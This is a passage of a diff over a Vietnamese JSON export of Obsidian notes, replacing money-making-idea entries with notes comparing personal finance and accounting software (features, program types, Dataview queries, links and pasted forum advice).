"2024-08-14T14:27:00.000Z", - "Ngày cập nhật": "2024-08-14T14:28:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6J" }, { - "Tiêu đề": "Có xe máy", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Có xe máy", + "Tiêu đề": "Dữ liệu chương trình lưu dưới dạng tập tin", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Dữ liệu chương trình lưu dưới dạng tập tin", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-07T07:52:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6K" }, { - "Tiêu đề": "Không tốn diện tích", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Không tốn diện tích", + "Tiêu đề": "Không sao chép được dễ dàng", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Không sao chép được dễ dàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-06T08:32:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6L" }, { - "Tiêu đề": "Biết cách ẩn danh", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo kiến thức, kỹ năng/Biết cách ẩn danh", + "Tiêu đề": "Sao chép kết quả sang chương trình khác được", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Sao chép kết quả sang chương trình khác được", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6610,14 +6608,14 @@ "id": "6M" }, { - "Tiêu đề": "Biết lập trình", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo kiến thức, kỹ năng/Biết lập trình", + "Tiêu đề": "Tích hợp được với ngân hàng", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Tích hợp được với ngân hàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6626,14 +6624,14 @@ "id": "6N" }, { - "Tiêu đề": "Có tên tuổi, uy tín, chứng nhận", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo kiến thức, kỹ năng/Có tên tuổi, uy tín, chứng nhận", + "Tiêu đề": "Xuất được kết quả ra dạng bảng tính", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Xuất được kết quả ra dạng bảng tính", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nĐồng thời có thêm tính năng:: [[Thêm được nhiều trường phân loại]]\r\nĐồng thời có thêm tính năng:: [[Tạo query phức tạp được]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6642,62 +6640,62 @@ "id": "6O" }, { - "Tiêu đề": "Hiểu về hệ thống", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo kiến thức, kỹ năng/Hiểu về hệ thống", + "Tiêu đề": "Xuất được kết quả ra dạng văn bản thuần", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Khả năng tích hợp/Xuất được kết quả ra dạng văn bản thuần", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6P" }, { - "Tiêu đề": "Có nguồn nguyên liệu lớn với giá rẻ", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo nguyên liệu, nguồn thông tin/Có nguồn nguyên liệu lớn với giá rẻ", + "Tiêu đề": "Nhận diện typo", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Nhận diện typo", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Đáp ứng cho nhu cầu: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"1 Nhu cầu người dùng\"))`\r\nCác chương trình có tính năng này: `=filter(this.file.inlinks, (i) => contains(i.file.folder, \"5 Tên chương trình\"))`\r\n\r\nĐáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng::\r\n\r\nLoại chương trình:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2024-08-02T15:30:00.000Z", "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6Q" }, { - "Tiêu đề": "Có nhiều tài khoản hoặc thẻ ngân hàng", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo nguyên liệu, nguồn thông tin/Có nhiều tài khoản hoặc thẻ ngân hàng", + "Tiêu đề": "Chỉ có vài trường cơ bản", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Số lượng trường phân loại/Chỉ có vài trường cơ bản", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Mượn thẻ\r\n- Ai chuyển cho mình thì chuyển vào shop, rồi Lộc trả lại", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6R" }, { - "Tiêu đề": "Nắm được nhu cầu doanh nghiệp", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo nguyên liệu, nguồn thông tin/Nắm được nhu cầu doanh nghiệp", + "Tiêu đề": "Thêm được nhiều trường phân loại", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Số lượng trường phân loại/Thêm được nhiều trường phân loại", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```\r\n\r\n[[Đặc trưng của các dự án B2B là phải giao thiệp]]", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: [[Chương trình kế toán]], [[Template thu chi trên Excel]], [[Chương trình phân loại dữ liệu tự động]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6706,110 +6704,110 @@ "id": "6S" }, { - "Tiêu đề": "Sắp xếp theo lịch được cho trước", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo thời gian/Sắp xếp theo lịch được cho trước", + "Tiêu đề": "Chương trình ghi chép thu chi cá nhân", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Chương trình ghi chép thu chi cá nhân", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Tên chương trình:: [[Momo]], [[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]], [[MoneyLover]], [[PiPu]]\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6T" }, { - "Tiêu đề": "Thỉnh thoảng lên công ty", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo thời gian/Thỉnh thoảng lên công ty", + "Tiêu đề": "Chương trình kế toán", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Chương trình kế toán", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Tên chương trình:: [[Misa]], [[Beancount]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n\r\n## Nguyên lý kế toán\r\nBật tốc độ x2 \r\nhttps://www.youtube.com/playlist?list=PL_-45OdYyPILsLksRzmOLUMSeBSUwkAdY\r\n\r\n## Chương trình kế toán văn bản thuần\r\n- [Plain Text Accounting](https://blog.emacsen.net/profit-first-constraints-plain-text-accounting.html \"\")\r\n- [Plain Text Accounting (PTA) - plaintextaccounting.org](https://plaintextaccounting.org/ \"Plain Text Accounting (PTA) - plaintextaccounting.org\")\r\n\r\n!["Managing Your Finances Using Python" - Brian Ryall - YouTube](https://www.youtube.com/watch?v=mFzctYkktXQ \""Managing Your Finances Using Python" - Brian Ryall - YouTube\")\r\n![Double Entry Bookkeeping for Personal Finance - YouTube](https://www.youtube.com/watch?v=lIGJzQw79hg \"Double Entry Bookkeeping for Personal Finance - YouTube\")\r\n![Plain Text Accounting: An Opinionated View - YouTube](https://www.youtube.com/watch?v=ZDF7xVtKLu0 \"Plain Text Accounting: An Opinionated View - YouTube\")\r\n\r\nVì phần chi tiêu cá nhân ko có tác dụng đối với mục đích kê khai thuế ở Mỹ, nên m nói mục đích của dev beancount có vẻ ko phải để theo dõi chi tiêu. b đọc các ví dụ minh họa cách sử dụng của beancount sẽ thấy đa phần là để theo dõi danh mục đầu tư cá nhân, ghi nhận lãi lỗ, nhằm mục đích kê khai thuế thu nhập cá nhân hàng năm của Mỹ. Không như Vietnam thì thuế thu nhập từ đầu tư cá nhân đã được thu hộ tại nguồn là các cty chứng khoán rồi Nhưng m thấy beancount vẫn làm tốt việc theo dõi chi tiêu ở mức tiểu khoản rất tốt. Nếu kiên nhẫn nhập đúng và đủ.\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6U" }, { - "Tiêu đề": "Làm ngoài đường", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo tính chất công việc/Làm ngoài đường", + "Tiêu đề": "Chương trình phân loại dữ liệu tự động", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Chương trình phân loại dữ liệu tự động", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", + "Toàn bộ nội dung": "Tên chương trình:: [[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]], [[Momo]], [[Misa]], [[Trấn Kỳ (quang cảnh thị trường)]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n\r\nQuán nhỏ thì họ cứ giấy viết sổ sách thôi, họ làm ngày nào xào ngày ấy nên chả quan tâm report hay nhãn dữ liệu là cái gì đâu. Quán lớn hoặc chủ hoặc người quản lý có tư duy vận hành tự động hay số hoá dữ liệu thì họ sẽ tiếp cận vs các đơn vị đang có sẵn giải pháp này trên thị trường rồi. Bạn đặt ra ngữ cảnh là đi chợ, và đây là trường hợp tệ nhất, nó chỉ xảy ra đối với quán nhỏ mình nói đầu tiên kia thôi. Đối với những quán có quy mô hơn thì bên cạnh việc sử dụng giải pháp vận hành công nghệ có sẵn từ các đơn vị khác thì đầu còn lại các supplier của họ cũng có sẵn việc phân loại, thống kê, structure dữ liệu đặt hàng, giao dịch cho quán luôn rồi. Nói chung giải pháp của bạn không mới mẻ cũng không giải quyết vấn đề gì có thật nếu trong ngữ cảnh quán nhỏ xíu đi chợ mua hàng mỗi ngày. Bạn phải để ý, riêng cái hành vi đi chợ mỗi ngày đã là sai trong việc thiết lập quy trình vận hành rồi chứ ko phải lổ hổng của quản lý dữ liệu. Một quán nếu chọn phương án nhập đầu vào thông qua cách đó thì dù có đưa công nghệ vào để xử lý dữ liệu như bạn đang nêu ra thì cũng chẳng triệt để được, nhân viên hoặc người mua vẫn có thể bị rơi vào trường hợp gian lận hoặc thiếu sót dữ liệu thống kê thôi. Góp ý đến bạn nhé ! Thân 👻\r\n[Cộng Đồng Chủ Quán - Khởi Nghiệp Và Kinh Doanh FNB | # Khi nào thì các quán ăn cần tới việc nhập liệu và gắn nhãn dữ liệu | Facebook](https://www.facebook.com/groups/chuquankinhdoanhfnb/posts/1732944450524967/)\r\n\r\n[Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?](https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+B+Tồn+tại+trong+thế+giới+tư+bản+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=Tài+nguyên+hỗ+trợ%2FQuang+cảnh+thị+trường%2FChương+trình+quản+lý+tiền%2F4+Loại+chương+trình%2FChương+trình+phân+loại+dữ+liệu+tự+động.md&utm_term=) \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6V" }, { - "Tiêu đề": "Vốn", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Vốn", + "Tiêu đề": "Chương trình tài liệu động", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Chương trình tài liệu động", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```\r\n\r\n[[Các dịch vụ cho vay]]", + "Toàn bộ nội dung": "Tên chương trình:: [[Soulver]], [[figr]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n\r\n![Dynamic documents as personal software - Geoffrey Litt - YouTube](https://www.youtube.com/watch?v=bJ3i4K3hefI)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2024-08-02T10:39:00.000Z", "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6W" }, { - "Tiêu đề": "Chia sẻ, đào tạo, huấn luyện", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Chia sẻ, đào tạo, huấn luyện", + "Tiêu đề": "Plugin cho phần mềm khác", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Plugin cho phần mềm khác", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Tên chương trình:: [[PiPu]], [[Trấn Kỳ]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6X" }, { - "Tiêu đề": "Gia công giải pháp", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Gia công giải pháp", + "Tiêu đề": "Template thu chi trên Excel", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/4 Loại chương trình/Template thu chi trên Excel", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Nghiên cứu người dùng, phát triển sản phẩm\n- Nắm bắt xu hướng mạng\n- Gom tất cả thông tin lại vào một chỗ\n- Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán\n- Tạo website\n- Tổng hợp những sự kiện sẽ diễn ra\n- Xây dựng mạng lưới đối tác, các bên liên quan \n\n---\nĐể một cá nhân, tổ chức cần thuê ngoài cần hội đủ các điều kiện sau đây:\n- Khách hàng cần phân loại, gắn nhãn, biến dữ liệu phi cấu trúc thành dữ liệu có cấu trúc\n- Khách hàng không tin tưởng kết quả phân loại của ChatGPT, hoặc thấy nó quá đắt hoặc bất tiện\n- Khách hàng không biết đến giải pháp phân loại tự động nào khác\n\nNgoài ra còn có thêm hai điều kiện về việc hợp tác thành công trên các trang tuyển dụng thời vụ tự do (freelance):\n- Khách hàng dành thời gian để đăng tin tuyển dụng \n- Những người rao bán dịch vụ nhập liệu như bạn không biết đến giải pháp phân loại tự động nào khác để bạn có thể cạnh tranh về giá\n\nNhư bạn thấy, càng nhiều điều kiện thì khả năng kiếm được tiền càng thấp đi. Càng bỏ được nhiều điều kiện, bạn càng có khả năng kiếm được tiền. \n\nĐể bỏ được hai điều kiện cuối cùng, bạn cần phải biết nhu cầu của khách hàng mà không cần họ phải đăng tin trên các trang tuyển dụng đó. Điều đó có thể xảy ra nếu:\n- Bạn thường xuyên theo dõi các thông báo tuyển dụng của họ trên website hoặc trang, nhóm Facebook\n- Bạn có sẵn mối quan hệ với họ, trực tiếp hoặc gián tiếp\n- Bạn chủ động nhắn tin hỏi về nhu cầu của họ\n- Bạn chủ động đăng tin sẵn sàng nhận làm việc này\n\n[Danh sách các công ty tuyển nhân viên nhập 